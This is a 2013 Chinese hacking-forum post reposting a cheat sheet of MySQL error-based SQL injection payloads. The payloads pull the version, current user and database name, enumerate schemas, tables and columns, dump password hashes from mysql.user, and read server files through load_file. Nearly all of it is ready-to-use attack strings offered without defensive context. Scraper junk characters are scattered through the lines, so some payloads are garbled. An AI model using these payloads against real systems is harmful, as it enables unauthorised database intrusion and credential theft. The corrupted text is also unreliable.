本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 m( o% x8 G& x9 P
) z5 v% `* }- C/ u' D, B" s4 J; ^1 o+ u% i7 O- R6 T
Mysql暴错注入参考(pdf),每天一贴。。。- m% H5 ^; X/ e0 S9 g8 u$ l
5 d0 [/ M' Q* H& X6 X
MySql Error Based Injection Reference4 {) L4 m. T* m6 O; ~3 p6 f
[Mysql暴错注入参考]
& O, H: h+ M) b7 F5 V* aAuthornig0s1992
% z& F* [( C# C2 }/ `$ ZBlog:http://pnig0s1992.blog.51cto.com/
& b: I+ x9 x/ f: Y; S% ]/ `TeAm:http://www.FreeBuf.com/
2 g8 Y$ x2 Q4 \5 ~. X, @Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
) U. d8 O: E. T+ ~/ a小部分版本使用name_const()时会报错.可以用给出的Method.2测试
" L# p4 @9 H0 u2 _查询版本:
8 e2 x) U% v" g7 zMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+5 Z3 O$ N" P1 J7 K( f- Z' \
join+(select+name_const(@@version,0))b)c)
6 ^7 K7 @) F1 X3 \8 WMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
, N/ _0 B* A' w) |1 T4 v o6 Lup by a)b)
3 L% u+ E) D2 c$ m! e查询当前用户:0 S. H- A* k0 U3 p0 a* _
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
) L8 w# ?5 N9 Y- {3 `5 H8 VMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
+ s' k B: y# K @# J; Y& G8 Dand(0)*2))x+from+information_schema.tables+group+by+x)a)
$ I3 |/ u- @- K+ G) M查询当前数据库:+ t7 T& u F8 \ B; d* }- `# C& M
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)8 r+ r6 F5 ?1 O4 C# Z% ]+ ~
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo; b7 ^+ S6 D* `
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
& `: b5 m; S1 _* K" c# y$ t依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' y: b" r& o- M5 p% e& H& \LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
! L1 p$ U4 Z1 P8 |$ a7 R顺序替换
5 ~& R! K7 P$ Y爆指定库数目:$ E' `9 F6 s4 t7 n" q( j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t7 T6 N3 s( b; n' D# O) m
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+ Z% K( y0 _) A. w+ B+by+x)a)+and+1=1 0x6D7973716C=mysql/ s5 ?% r+ c- Q( I# {; w9 m P4 \# ]
依次爆表:
- I8 X. x0 I5 _. Band+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t/ }2 O: C* R8 {; A& C$ L( C7 g$ V& r
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta$ T! f- t7 h& t! c7 o ~
bles+group+by+x)a)+and+1=1, }6 ~8 j2 M$ ]3 C8 Y0 u. p
0x6D7973716C=Mysql 将n顺序替换
. a' J& y/ H# K2 r. Q. B) ?: a! D爆表内字段数目:
, d2 t( n/ |* c. [$ [7 Y0 O3 f: x# ?and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE+ y& b& E* Y( y/ x' T9 C; W/ w& l
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran4 N, [5 p" H3 ~! r T
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=16 n$ o4 ^0 H+ x6 n, }
依次爆字段:
) j- `6 H, Y4 N, |8 Y9 n) cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
- Z# F- q Y: |4 n9 _3 e+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,11 a! D' q+ e& c; M* j" q* f
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
" a: Q9 X4 Y( Q+ Q% B$ t+ {9 I- G依次暴内容:& o, @- N4 T3 p) r
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
3 i- G, \* O) x1 C& G; ima.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1" c3 c) t3 U& a' c
将n顺序替换7 `. A3 c$ b, s2 g. ?, S; S- `. H0 s! }
爆文件内容:: Z: H4 h4 U' E+ r% @1 e2 P
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a9 D# W7 J, \' N0 d/ L4 w3 a( M
from+information_schema.tables+group+by+a)b) . T- \+ a8 C$ X
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
6 t5 b* ~; u4 a9 LThx for reading.0 Y4 t2 t+ B, G3 X' ~. q
& n( T$ t8 \. a7 B. w
不要下载也可以, $ l1 }9 z& E! [* ^3 A: F
|